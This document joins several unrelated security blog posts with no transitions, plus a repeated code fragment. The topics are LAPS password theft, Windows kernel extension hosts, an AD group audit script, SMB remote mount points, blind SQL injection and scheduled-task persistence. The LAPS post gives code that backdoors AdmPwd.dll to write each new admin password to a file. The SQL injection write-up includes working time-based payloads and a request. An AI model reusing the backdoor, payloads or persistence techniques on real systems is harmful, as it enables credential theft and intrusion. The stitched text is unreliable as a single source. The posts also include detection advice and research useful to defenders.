LAPS (Local Administrator Password Solution) is a tool for managing local administrator passwords for domain joined computers. It stores passwords/secrets in a confidential attribute in the computer’s corresponding active directory object. LAPS eliminates the risk of lateral movement by generating random passwords of local administrators. LAPS solution is a Group Policy Client Side Extension (CSE) which is installed on all managed machines to perform all management tasks.
Domain administrators and anyone who has full control on computer objects in AD can read and write both pieces of information (i.e., password and expiration timestamp). Password’s stored in AD is protected by ACL, it is up to the sysadmins to define who can and who cannot read the attributes. When transferred over the network, both password and time stamp are encrypted by kerberos and when stored in AD both password and time stamp are stored in clear text.
Components of LAPS:
Agent – Group Policy Client Extension(CSE)
Event Logging and Random password generation
PowerShell Module
Solution configuration
Active Directory
Computer Object, Confidential attribute, Audit trail in security log of domain controller
Reconnaissance:
Firstly, we will identify whether LAPS solution has been installed on the machine which we had gained a foothold. We will leverage powershell cmdlet to identify if the admpwd.dll exist or not.
1
Get-ChildItem
‘c:\program files\LAPS\CSE\Admpwd.dll’
The very next step would be identifying who has read access to ms-Mcs-AdmPwd. we can use Powerviewfor identifying users having read access to ms-Mcs-AdmPwd
12345
Get-NetOU
-FullData
|
Get-ObjectAcl
-ResolveGUIDs
|
Where-Object
{
(
$_
.ObjectType
-like
'ms-Mcs-AdmPwd'
)
-and
(
$_
.ActiveDirectoryRights
-match
'ReadProperty'
)
}
If RSAT(Remote Server Administration Tools) is enabled on the victim machine, then there is an interesting way of identifying user’s having access to ms-Mcs-AdmPwd. we can simply fire the command:
1
dsacls.exe
'Path to the AD DS Object'
Dumping LAPS password:
Once you have identified the user’s who has read access to ms-Mcs-AdmPwd, the next thing would be compromising those user accounts and then dumping LAPS password in clear text.
I already did a blog post on ‘Dump LAPS password in clear text‘ and would highly encourage readers to have look at that post as well.
Tip: It is highly recommended to provide ms-Mcs-AdmPwd read access to only those who actually manage those computer objects and remove unwanted users from having read access.
Poisoning AdmPwd.dll:
Most of the previous research/attacks are focused on the server side (i.e., looking for accounts who can read the passwords) not on the client side. Microsoft’s LAPS is a client side extension which runs a single dll that manages password (admpwd.dll).
LAPS was based on open source solution called “AdmPwd” developed by Jiri Formacek and is a part of microsoft product portfolio since may 2015. The LAPS solution does not have integrity checks or signature verification for dll file. AdmPwd solution is compatible with Microsoft’s LAPS, so let’s poison the dll by compiling the project from source and replace it with the original dll. To replace the original dll administrative privilege is required and at this point we assume the user already has gained administrator privilege by LPE or any other means.
Now let’s add these 3-4 lines in the AdmPwd solution and compile the malicious dll. These lines will be added where the new password and time stamp would be reported to the AD.
1234
wofstream backdoor;
backdoor.open(
"c:\\backdoor.txt"
);
backdoor << newPwd;
backdoor.close();
In this way adversary will appear normal, passwords would be synced and will also comply with LAPS policy.
BONUS: Persistence of clear text password *
*Persistence till the time poisoned dll is unchanged.
Dectection/Prevention:
Validate the Integrity/Signature of admpwd.dll
File Integrity Monitoring (FIM) policy can be created to monitor and changes/modification to the dll.
Application whitelisting can be applied to detect/prevent poisoning.
Increase LAPS logging level by setting the registry value to 2 (Verbose mode, Log everything): HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GPExtensions\{D76B9641-3288-4f75-942D-087DE603E3EA}\ExtensionDebugLevel
Note: Above methods are just my ramblings, I am not sure whether some of these would detect or prevent.
Modifying searchFlags attribute:
The attribute of our interest is ms-Mcs-AdmPwd which is a confidential attribute.Let’s first identify searchFlags attribute of ms-Mcs-AdmPwd. We will be using active directory PS module.
The searchFlags attribute value is 904 (0x388). From this value we need to remove the 7th bit which is the confidential attribute. CF which is the 7 th bit (0x00000080) ie., After removing the confidential value(0x388-0x80) the new value is 0x308 ie., 776. We will leverage DC Shadow attack to modify the searchFlags attribute.
Detection/Prevention:
Anything which detects DC Shadow attack eg.,ALSID Team’s powershell script. ( It detects using the “LDAP_SERVER_NOTIFICATION_OID” and tracks what changes are registered in the AD infrastructure).
Microsoft ATA also detects malicious replications.
It can also be detected by comparing the metadata of the searchFlags attribute or even looking at the LocalChangeUSN which is inconsistent with searchFlags attribute.
Note: In my lab setup when i removed the confidential attribute from one DC it gets replicated to other DC’s as well (i.e., searchFlags attribute value 776 gets replicated to other DC’s). Another thing i noticed is after every change the SerachFlags version gets increased but in my lab setup it was not increasing after 10. If you find something different do let me know.
Recently I had to write a kernel-mode driver. This has made a lot of people very angry and been widely regarded as a bad move. (Douglas Adams, paraphrased)
Like any other piece of code written by me, this driver had several major bugs which caused some interesting side effects. Specifically, it prevented some other drivers from loading properly and caused the system to crash.
As it turns out, many drivers assume their initialization routine (DriverEntry) is always successful, and don’t take it well when this assumption breaks. j00rudocumented some of these cases a few years ago in his blog, and many of them are still relevant in current Windows versions. However, these buggy drivers are not really the issue here, and j00ru covered it better than I could anyway. Instead I focused on just one of these drivers, which caught my attention and dragged me into researching the so-called “windows kernel host extensions” mechanism.
The lucky driver is Bam.sys (Background Activity Moderator) — a new driver which was introduced in Windows 10 version 1709 (RS3). When its DriverEntry fails mid-way, the call stack leading to the system crash looks like this:
From this crash dump, we can see that Bam.sys registered a process creation callback and forgot to unregister it before unloading. Then, when a process was created / terminated, the system tried to call this callback, encountered a stale pointer and crashed.
The interesting thing here is not the crash itself, but rather how Bam.sys registers this callback. Normally, process creation callbacks are registered via nt!PsSetCreateProcessNotifyRoutine(Ex), which adds the callback to the nt!PspCreateProcessNotifyRoutine array. Then, whenever a process is being created or terminated, nt!PspCallProcessNotifyRoutines iterates over this array and calls all of the registered callbacks. However, if we run for example “!wdbgark.wa_systemcb /type process“ in WinDbg, we’ll see that the callback used by Bam.sys is not found in this array.
Instead, Bam.sys uses a whole other mechanism to register its callbacks.
If we take a look at nt!PspCallProcessNotifyRoutines, we can see an explicit reference to some variable named nt!PspBamExtensionHost (there is a similar one referring to the Dam.sys driver). It retrieves a so-called “extension table” using this “extension host” and calls the first function in the extension table, which is bam!BampCreateProcessCallback.
If we open Bam.sys in IDA, we can easily find bam!BampCreateProcessCallbackand search for its xrefs. Conveniently, it only has one, in bam!BampRegisterKernelExtension:
As suspected, Bam!BampCreateProcessCallback is not registered via the normal callback registration mechanism. It is actually being stored in a function table named Bam!BampKernelCalloutTable, which is later being passed, together with some other parameters (we’ll talk about them in a minute) to the undocumented nt!ExRegisterExtension function.
I tried to search for any documentation or hints for what this function was responsible for, or what this “extension” is, and couldn’t find much. The only useful resource I found was the leaked ntosifs.h header file, which contains the prototype for nt!ExRegisterExtension as well as the layout of the _EX_EXTENSION_REGISTRATION_1 structure.
Prototype for nt!ExRegisterExtension and _EX_EXTENSION_REGISTRATION_1, as supplied in ntosifs.h:
After a bit of reverse engineering, I figured that the formal input parameter “PVOID RegistrationInfo” is actually of type PEX_EXTENSION_REGISTRATION_1.
The pseudo-code of nt!ExRegisterExtension is shown in appendix B, but here are the main points:
nt!ExRegisterExtension extracts the ExtensionId and ExtensionVersion members of the RegistrationInfo structure and uses them to locate a matching host in nt!ExpHostList (using the nt!ExpFindHost function, whose pseudo-code appears in appendix B).
Then, the function verifies that the amount of functions supplied in RegistrationInfo->FunctionCount matches the expected amount set in the host’s structure. It also makes sure that the host’s FunctionTable field has not already been initialized. Basically, this check means that an extension cannot be registered twice.
If everything seems OK, the host’s FunctionTable field is set to point to the FunctionTable supplied in RegistrationInfo.
Additionally, RegistrationInfo->HostInterface is set to point to some data found in the host structure. This data is interesting, and we’ll discuss it soon.
Eventually, the fully initialized host is returned to the caller via an output parameter.
We saw that nt!ExRegisterExtension searches for a host that matches RegistrationInfo. The question now is, where do these hosts come from?
During its initialization, NTOS performs several calls to nt!ExRegisterHost. In every call it passes a structure identifying a single driver from a list of predetermined drivers (full list in appendix A). For example, here is the call which initializes a host for Bam.sys:
nt!ExRegisterHost allocates a structure of type _HOST_LIST_ENTRY(unofficial name, coined by me), initializes it with data supplied by the caller, and adds it to the end of nt!ExpHostList. The _HOST_LIST_ENTRYstructure is undocumented, and looks something like this:
struct _HOST_LIST_ENTRY
{
_LIST_ENTRY List;
DWORD RefCount;
USHORT ExtensionId;
USHORT ExtensionVersion;
USHORT FunctionCount; // number of callbacks that the extension // contains
POOL_TYPE PoolType; // where this host is allocated
PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs
PVOID FunctionAddress; // optional, rarely used. // This callback is called before // and after an extension for this // host is registered / unregistered
PVOID ArgForFunction; // will be sent to the function saved here
_EX_RUNDOWN_REF RundownRef;
_EX_PUSH_LOCK Lock;
PVOID FunctionTable; // a table of the callbacks that the // driver “registers”
DWORD Flags; // Only uses one bit. // Not sure about its meaning.
} HOST_LIST_ENTRY, *PHOST_LIST_ENTRY;
When one of the predetermined drivers loads, it registers an extension using nt!ExRegisterExtension and supplies a RegistrationInfo structure, containing a table of functions (as we saw Bam.sys doing). This table of functions will be placed in the FunctionTable member of the matching host. These functions will be called by NTOS in certain occasions, which makes them some kind of callbacks.
Earlier we saw that part of nt!ExRegisterExtension functionality is to set RegistrationInfo->HostInterface (which contains a global variable in the calling driver) to point to some data found in the host structure. Let’s get back to that.
Every driver which registers an extension has a host initialized for it by NTOS. This host contains, among other things, a HostInterface, pointing to a predetermined table of unexported NTOS functions. Different drivers receive different HostInterfaces, and some don’t receive one at all.
For example, this is the HostInterface that Bam.sys receives:
So the “kernel extensions” mechanism is actually a bi-directional communication port: The driver supplies a list of “callbacks”, to be called on different occasions, and receives a set of functions for its own internal use.
To stick with the example of Bam.sys, let’s take a look at the callbacks that it supplies:
BampCreateProcessCallback
BampSetThrottleStateCallback
BampGetThrottleStateCallback
BampSetUserSettings
BampGetUserSettingsHandle
The host initialized for Bam.sys “knows” in advance that it should receive a table of 5 functions. These functions must be laid-out in the exact order presented here, since they are called according to their index. As we can see in this case, where the function found in nt!PspBamExtensionHost->FunctionTable[4] is called:
To conclude, there exists a mechanism to “extend” NTOS by means of registering specific callbacks and retrieving unexported functions to be used by certain predetermined drivers.
I don’t know if there is any practical use for this knowledge, but I thought it was interesting enough to share. If you find anything useful / interesting to do with this mechanism, I’d love to know 🙂
Appendix A — Extension hosts initialized by NTOS:
Appendix B — functions pseudo-code:
NTSTATUS ExRegisterExtension(_Outptr_ PEX_EXTENSION *Extension, _In_ ULONG RegistrationVersion, _In_ PREGISTRATION_INFO RegistrationInfo)
{
// Validate that version is ok and that FunctionTable is not sent without FunctionCount or vise-versa.
if ( (RegistrationVersion & 0xFFFF0000 != 0x10000) || (RegistrationInfo->FunctionTable == nullptr && RegistrationInfo->FunctionCount != 0) )
{
return STATUS_INVALID_PARAMETER;
}
// Skipping over some lock-related stuff,
// Find the host with the matching version and id.
PHOST_LIST_ENTRY pHostListEntry;
pHostListEntry = ExpFindHost(RegistrationInfo->ExtensionId, RegistrationInfo->ExtensionVersion);
// More lock-related stuff.
if (!pHostListEntry)
{
return STATUS_NOT_FOUND;
}
// Verify that the FunctionCount in the host doesn't exceed the FunctionCount supplied by the caller.
if (RegistrationInfo->FunctionCount < pHostListEntry->FunctionCount)
{
ExpDereferenceHost(pHostListEntry);
return STATUS_INVALID_PARAMETER;
}
// Check that the number of functions in FunctionTable matches the amount in FunctionCount.
PVOID FunctionTable = RegistrationInfo->FunctionTable;
for (int i = 0; i < RegistrationInfo->FunctionCount; i++)
{
if ( RegistrationInfo->FunctionTable[i] == nullptr )
{
ExpDereferenceHost(pHostListEntry);
return STATUS_ACCESS_DENIED;
}
}
// skipping over some more lock-related stuff
// Check if there is already an extension registered for this host.
if (pHostListEntry->FunctionTable != nullptr || FlagOn(pHostListEntry->Flags, 1) )
{
// There is something related to locks here
ExpDereferenceHost(pHostListEntry);
return STATUS_OBJECT_NAME_COLLISION;
}
// If there is a callback function for this host, call it before registering the extension, with 0 as the first parameter.
if (pHostListEntry->FunctionAddress)
{
pHostListEntry->FunctionAddress(0, pHostListEntry->ArgForFunction);
}
// Set the FunctionTable in the host to the table supplied by the caller, or to MmBadPointer if a table wasn't supplied.
if (RegistrationInfo->FunctionTable == nullptr)
{
pHostListEntry->FunctionTable = nt!MmBadPointer;
}
else
{
pHostListEntry->FunctionTable = RegistrationInfo->FunctionTable;
}
pHostListEntry->RundownRef = 0;
// If there is a callback function for this host, call it after registering the extension, with 1 as the first parameter.
if (pHostListEntry->FunctionAddress)
{
pHostListEntry->FunctionAddress(1, pHostListEntry->ArgForFunction);
}
// Here there is some more lock-related stuff
// Set the HostTable of the calling driver to the table of functions listed in the host.
if (RegistrationInfo->HostTable != nullptr)
{
*(PVOID)RegistrationInfo->HostTable = pHostListEntry->hostInterface;
}
// Return the initialized host to the caller in the output Extension parameter.
*Extension = pHostListEntry;
return STATUS_SUCCESS;
}
// Allocate memory for a new HOST_LIST_ENTRY
PHOST_LIST_ENTRY p = ExAllocatePoolWithTag(HostInformation->PoolType, 0x60, 'HExE');
if (p == nullptr)
{
return STATUS_INSUFFICIENT_RESOURCES;
}
// Search for an existing listEntry with the same version and id.
PHOST_LIST_ENTRY listEntry = ExpFindHost(HostInformation->ExtensionId, HostInformation->ExtensionVersion);
if (listEntry)
{
Status = STATUS_OBJECT_NAME_COLLISION;
ExpDereferenceHost(p);
ExpDereferenceHost(listEntry);
}
else
{
// Insert the new HOST_LIST_ENTRY to the end of ExpHostList.
if ( *lastHostListEntry != &firstHostListEntry )
{
__fastfail();
}
USHORT FunctionCount; // number of callbacks that the // extension contains
POOL_TYPE PoolType; // where this host is allocated
PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs
PVOID FunctionAddress; // optional, rarely used. // This callback is called before and // after an extension for this host // is registered / unregistered
PVOID ArgForFunction; // will be sent to the function saved here
_EX_RUNDOWN_REF RundownRef;
_EX_PUSH_LOCK Lock;
PVOID FunctionTable; // a table of the callbacks that // the driver “registers”
DWORD Flags; // Only uses one flag. // Not sure about its meaning.
This PowerShell script is one of the most comprehensive you will find that provides a thorough overview and full report of all group objects in a domain. It is the culmination of many Active Directory audit and reviews and therefore contains valuable input from many customers.
A lot of thought has been put into the logic within this script to help an organisation understand:
A breakdown of each group type (category and scope) that have been created
Groups with no members
Groups that are flagged as critical system objects
Groups that are protected objects (AdminSDHolder) where their adminCount attribute is set to 1
Groups that are conflicting/duplicate objects (name contains CNF: and/or sAMAccountName contains $Duplicate)
Groups that are mail-enabled
Distribution groups that are mail-disabled
Groups that are Unix-enabled
Groups that have expired
Groups with SID history
Groups with no Manager (managedBy)
The non-“Microsoft” default groups that have been left in the default Users container
FYI:
Mail-enabled groups are derived from the proxyAddresses, legacyExchangeDN, mailNickName, and reportToOriginator attributes, where reportToOriginator must be set to TRUE. This is not well documented.
Unix-enabled groups are derived from the gidNumber, msSFU30Name, and msSFU30NisDomain attributes.
Open the full CSV report in Excel and add a column filter and freeze the top row. This will help you to filter the data and move through the spreadsheet with ease.
Review the value of groups that contain no members, are not critical system objects, protected objects (AdminSDHolder), and not excluded objects. Delete them if they are no longer serving their purpose. Alternatively, move them into an OU and add the OU to the $ExclusionOUs array in the script to ensure they are correctly flagged in the next run.
Disabling groups:
Security groups can be disabled by converting them to a distribution group.
Distribution groups can be disabled by mail-disabling them.
You should always clearly document situations where groups have been disabled. i.e. Are they being kept for a reason, or should they be deleted. Delete them if they no longer serve a purpose.
Review the groups that have been marked as protected objects (AdminSDHolder) that may now fall out of scope. If these groups are not going to be deleted, they should be restored to their original state by reactivating the inheritance rights on the object itself and clearing the adminCount attribute. I recommend using a script written by Tony Murray to clean up the AdminSDHolder: Cleaning up AdminSDHolder orphans
Further information about the AdminSDHolder can be found here:
Groups whose name contains CNF: and/or sAMAccountName contains $Duplicate means that it’s a duplicate account caused by conflicting/duplicate objects. This typically occurs when objects are created on different Read Write Domain Controllers at nearly the same time. After replication kicks in and those conflicting/duplicate objects replicate to other Read Write Domain Controllers, Active Directory replication applies a conflict resolution mechanism to ensure every object is and remains unique. You can’t just delete the conflicting/duplicate objects, as these may often be in use. You need to merge the group membership and ensure the valid group is correctly applied to the resource. Then you can confidently delete the conflicting/duplicate group.
You should never delete groups marked as Critical System Objects.
There should be no groups with an unrecognised group type. But if there are any, they must be investigated and remediated immediately as they could be the result of more serious issues.
Some groups may simply be placeholders for certain tasks, scripts and policies, and therefore may purposely not contain any members. Simply move these groups into an OU and add the OU to the $ExclusionOUs array to flag and exclude them from the final no members count.
In general add groups and OUs to the ‘Exclusion’ arrays to flag and exclude groups with no members from the final no members count.
From here you can start to implement some good policies and processes around the usage and management of the groups.
At the end of the day a nice way to manage groups is to set their expirationTime attribute. This will give us the ability to implement a nice life cycle management process. You can go one step further and add a user or mail-enabled security group to the managedBy attribute. This will give us the ability to implement some workflow when the group is x days before expiring.
The following screen shot is from a recent health check and audit I completed. This customer has about 137,000 group objects in their domain. The script took about 2 and a half hours to complete. PowerShell consumed almost 8 GB of RAM. The full CSV report was about 55.5 MB.
What sticks out here like a sore thumb is the fact that over 23% of the groups have no members!
The following screen shot is the full report from the same health check. Whilst I’ve had to blur our some of the data you can get an idea from the column headings that it’s fairly extensive. There are a further 6 columns that I was unable to capture in the screen shot due to screen resolution.
IMPORTANT: As of version 1.8 this script now works in non Microsoft Exchange environments.
This blog post is a quick writeup on an interesting feature of SMBv2 which might have uses for lateral movement and red-teamers. When I last spent significant time looking at symbolic link attacks on Windows I took a close look at the SMB server. Since version 2 the SMB protocol has support for symbolic links, specifically the NTFS Reparse Point format. If the SMB server encounters an NTFS symbolic link within a share it’ll extract the REPARSE_DATA_BUFFER and return it to the client based on the SMBv2 protocol specification§2.2.2.2.1.
The client OS is responsible for parsing the REPARSE_DATA_BUFFER and following it locally. This means that only files the client can already access can be referenced by symbolic links. In fact even resolving symbolic links locally isn’t enabled by default, although I did find a bypass which allowed a malicious server to bypass the client policy and allowing resolving symbolic links locally. Microsoft declined to fix the bypass at the time, it’s issue 138 if you’re interested.
What I found interesting is while IO_REPARSE_TAG_SYMLINK is handled specially on the client, if the server encounters the IO_REPARSE_TAG_MOUNT_POINT reparse point it would follow it on the server. Therefore, if you could introduce a mount point within a share you could access any fixed disk on the server, even if it’s not shared directly. That could have many uses for lateral movement, but the question becomes how could we add a mount point without already having local access to the disk?
First thing to try is to just create a mount point via a UNC path and see what happens. Using the MKLINKCMD built-in you get the following:
The error would indicate that setting mount points on remote servers isn’t supported. This would make some sense, setting a mount point on a remote drive would result in unexpected consequences. You’d assume the protocol either doesn’t support setting reparse points at all, or at least restricts them to only allowing symbolic links. We can get a rough idea what the protocol expects by looking up the details in the protocol specification. Setting a reparse point requires sending the FSCTL_SET_REPARSE_POINT IO control code to a file, therefore we can look up the section on the SMB2 IOCTL command to see if any there’s any information about the control code.
After a bit of digging you’ll find that FSCTL_SET_REPARSE_POINT is indeed supported and there’s a note in §3.3.5.15.13 which I’ve reproduced below.
«When the server receives a request that contains an SMB2 header with a Command value equal to SMB2 IOCTL and a CtlCode of FSCTL_SET_REPARSE_POINT, message handling proceeds as follows:If the ReparseTag field in FSCTL_SET_REPARSE_POINT, as specified in [MS-FSCC] section 2.3.65, is not IO_REPARSE_TAG_SYMLINK, the server SHOULD verify that the caller has the required permissions to execute this FSCTL.<330> If the caller does not have the required permissions, the server MUST fail the call with an error code of STATUS_ACCESS_DENIED.»The text in the specification seems to imply the server only needs to check explicitly for IO_REPARSE_TAG_SYMLINK, and if the tag is something different it should do some sort of check to see if it’s allowed, but it doesn’t say anything about setting a different tag to be explicitly banned. Perhaps it’s just the MKLINK built-in which doesn’t handle this scenario? Let’s try the CreateMountPoint tool from my symboliclink-testing-tools project and see if that helps.
CreateMountPoint doesn’t show an error about only supporting local NTFS volumes, but it does return an access denied error. This ties in with the description §3.3.5.15.13, if the implied check fails the code should return access denied. Of course the protocol specification doesn’t actually say what check should be performed, I guess it’s time to break out the disassembler and look at the implementation in the SMBv2 driver, srv2.sys.
I used IDA to look for immediate values for IO_REPARSE_TAG_SYMLINK which is 0xA000000C. It seems likely that any check would first look for that value along with any other checking for the other tags. In the driver from Windows 10 1809 there was only one hit in Smb2ValidateIoctl. The code is roughly as follows:
The code extracts the data from the IOCTL request, it fails with STATUS_ACCESS_DENIED if the tag is not IO_REPARSE_TAG_SYMLINK and some byte value is 0 which is referenced from the request data. Tracking down who sets this value can be tricky sometimes, however I usually have good results by just searching for the variables offset as an immediate value in IDA, in this case 0x200 and just go through the results looking for likely MOV instructions. I found an instruction «MOV [RCX+0x200], AL» inside Smb2ExecuteSessionSetupReal which looked to be the one. The variable is being set with the result of the call to Smb2IsAdmin which just checks if the caller has the BUILTIN\Administrators group in their token. It seems that we can set arbitrary reparse points on a remote share, as long as we’re an administrator on the machine. We should still test that’s really the case:
Testing from an administrator account allows us to create the mount point, and when listing the directory from a UNC path the Windows folder is shown. While I’ve demonstrated this on local admin shares this will work on any share and the mount point is followed on the remote server.
Is this trick useful? Requiring administrator access does mean it’s not something you could abuse for local privilege escalation and if you have administrator access remotely there’s almost certainly nastier things you could do. Still it could be useful if the target machine has the admin shares disabled, or there’s monitoring in place which would detect the use of ADMIN$ or C$ in lateral movement as if there’s any other writable share you could add a new directory which would give full control over any other fixed drive.
I can’t find anyone documenting this before, but I could have missed it as the search results are heavily biased towards SAMBA configurations when you search for SMB and mount points (for obvious reasons). This trick is another example of ensuring you test any assumptions about the security behavior of a system as it’s probably not documented what the actual behavior is. Even though a tool such as MKLINK claims a lack of a support for setting remote mount points by digging into available specification and looking at the code itself you can find some interesting stuff.
Ghost Labs performs hundreds of success tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies.
Last year, on May, I was assigned a Web Application test of a regular customer. As the test was blackbox one of the few entry points — if not the only — was a login page. The tight scoping range and the staticity of the Application did not provide many options.
After spending some time on the enumeration phase by trying to find hidden files/directories, leaked credentials online, common credentials, looking for vulnerable application components and more I was driven to a dead end.
No useful information were received, the enumeration phase had finished and no process had been made. Moreover, every fuzzing attempt on the login parameters didn’t not trigger any interesting responses.
Identifying the entry point
A very useful Burp Suite Extension is Bypass WAF. To find out how this extension works, have a quick look here. Briefly, this extension is used to bypass a Web Application firewall by inserting specific headers on our HTTP Requests. X-Forwarded-For is one of the them. What this header is also known for though is for the frequent use by the developers to store the IP Data of the client.
The following backend SQL statement is a vulnerable example of this:
mysql_query(«SELECT username, password FROM users-data WHEREusername='».sanitize($_POST[‘username’]).»‘ ANDpassword='».md5($_POST[‘password’]).»‘ AND ip_adr='».ipadr().»‘»);
Where ipadr() is a function that reads the $_SERVER[‘HTTP_X_FORWARDED_FOR’] value (X-Forwarded-For header) and by applying some regular expression decides whether to store the value or not.
For the web application I was testing, it turned out to have a similar vulnerability. The provided X-Forwarded-For header was not properly validated, it was parsed as a SQL statement and there was the entry point.
Moreover, it was not mandatory to send a POST request to the login page and inject the payload through the header. The header was read and evaluated on the index page, by just requesting the “/” directory.
Due to the application’s structure, I was not able to trigger any visible responses from the payloads. That made the Injection a Blind, Time Based one. Out of several and more complex payloads — mainly for debugging purposes — the final, initial, payload was:
«XOR(if(now()=sysdate(),sleep(6),0))OR”
And it was triggered by a similar request:
GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 X-Forwarded-For: «XOR(if(now()=sysdate(),sleep(6),0))OR” X-Requested-With: XMLHttpRequest Referer: http://internal.customer.info/ Host: internal.customer.info Connection: close Accept-Encoding: gzip,deflate Accept: /
The response was delayed, the sleep value was incremented to validate the finding and indeed, the injection point was ready.
As sqlmap couldn’t properly insert the injection point inside the XOR payload, an initial manual enumeration was done. The next information extracted was the Database Length. That would allow me to later identify the Database Name too. Here is the payload used:
Of course, Burp Intruder was used to gradually increment the database length value. It turned out that the Database Length is 30. To find the Database Name Burp Intruder was used again with the following payload:
During the attack I noticed that the first 3 characters are the same with the first character of the domain name I am testing. The domain were 20 character long. I paused the intruder attack, went back to repeater and verified like this:
Indeed, the server delayed to respond indicating that the 15 first characters of the Database Name are the same as the domain name. The database name was 30 characters long. I had to continue the attack but this time with a different payload, starting the attack from character 21, in order to find the full database name. After a few minutes, the full database name was extracted. Format: “<domain-name>_<subdomain-name>_493 ” With the database name I then attempted to enumerate table names.
Similarly, a char-by-char bruteforce attacks is required to find the valid names.
To do this I loaded the information_schema.tables table that provides information about all the databases’ tables. I filtered only the current’s database related tables by using the WHERE clause:
Again, the payload was parsed to Burp Intruder to automate the process. After a few minutes the first tables were discovered:
After enumerating about 20 Tables Names I decided to try again my luck with SQLmap. As several tables where discovered, one of them was used to help sqlmap understand the injection point and continue the attack. Payload used in sqlmap:
XOR(select 1 from cache where 1=1 and 1=1*)OR
By that time I managed to properly set the injection point and I forced sqlmap to just extract the column names and data from the interesting tables.
Notes and Conclusion
At the end of the injection the whole database along with the valuable column information was received. The customer was notified immediately and the attack was reproduced as a proof of concept.
Sometimes manual exploitation — especially blind, time based attacks — may seem tedious. As shown, it is also sometimes difficult to automate a detected injection attack. The best thing that can be done on such cases is to manually attack until all the missing information for the automation of the attack are collected.
You may have found yourself in a situation where you have access to a system through a limited user account, or could not or did not want to bypass UAC (AlwaysOn setting for example) and you needed to continue running code even when the account logged off and/or the system rebooted (and even if you don’t have the account’s password). For example, as a pentester you may need to set up persistent access after everyone has logged off for the day or as a software developer you may want to run background tasks for maintenance and update. However, most of the backdoors that I have seen that don’t require admin permissions typically use a registry value or a startup folder entry, or another method that will only run code once the current user logs in and will die once the user logs off. Every «legitimate» piece of software that runs code outside of a logon that I have looked into, such as software updaters, requires administrative permissions to install a service or scheduled task that runs as SYSTEM.
I don’t know whether this is due to ignorance on the part of the authors, or if so few systems run for any significant period of time without the main user being logged in that the authors don’t care, or maybe most limited user accounts don’t have the requisite permissions or administrative permissions are just too easy to get. But there are many UAC-protected or shared systems in many homes and businesses and a huge number of backdoors that are now written to run under limited user accounts.
So how do you do it? First, create a scheduled task to run your command with default options as the current user (this will by default create a scheduled task that only runs when you are logged in):
Your task will now run in the background every hour regardless of whether you are logged on. Since it will not run interactively, it will not have the cached credentials that an interactive logon will have, so you may not be able to access all of the network resources you were able to before, but you will be running!
What this does is use the Service-for-User or S4U logon type (See http://technet.microsoft.com/en-us/library/cc722152.aspx and http://msdn.microsoft.com/en-us/magazine/cc188757.aspx for an in-depth discussion of S4U from the perspective of Kerberos). The system must be at least Windows Vista to schedule these types of tasks, and the «Logon as batch job policy» must be set for the user. On a Windows 7 Home Premium test system, this was the case for a non-UAC elevated admin, but not for a limited user by default. Of course every Windows domain could be different, so check first before you rely on it.
And enjoy running your scheduled scripts whenever you want, even if you cannot or do not want to elevate to administrative permissions. Also, if you make software that requires administrative permissions to install, please make it work as a limited user; there really are not many excuses left.